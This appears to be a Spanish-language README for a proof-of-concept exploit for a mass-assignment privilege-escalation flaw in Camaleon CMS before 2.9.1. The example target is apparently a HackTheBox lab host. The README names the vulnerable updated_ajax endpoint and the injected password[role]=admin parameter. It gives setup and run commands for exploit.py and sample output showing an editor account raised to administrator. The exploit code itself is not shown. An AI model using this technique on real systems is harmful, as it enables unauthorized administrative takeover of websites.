
Exploit de prueba de concepto para una vulnerabilidad de escalada de privilegios por asignación masiva en Camaleon CMS < 2.9.1. Los usuarios autenticados con privilegios bajos pueden escalar a administrador inyectando parámetros de rol.
Vulnerabilidad de escalada de privilegios en Camaleon CMS < 2.9.1. El endpoint
updated_ajaxenUsersControllerllama aparams.require(:password).permit!sin filtrar, permitiendo que cualquier parámetro sea asignado masivamente. Un usuario autenticado con pocos privilegios puede escalar a administrador inyectandopassword[role]=adminjunto con una solicitud de cambio de contraseña.
/admin/users/<id>/updated_ajax con password[role]=admin inyectado en los parámetros de contraseña.python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4
python3 exploit.py http://TARGET -u USER -p PASS
Ejemplo:
$ python3 exploit.py http://facts.htb -u esteban -p password123
[*] Iniciando sesión como esteban...
[+] Sesión iniciada correctamente
[*] ID de usuario: 3, rol actual: editor
[*] Enviando payload de explotación...
[+] ¡Escalada de privilegios exitosa! El usuario ahora es admin.
[+] Inicia sesión en http://facts.htb/admin con tus credenciales.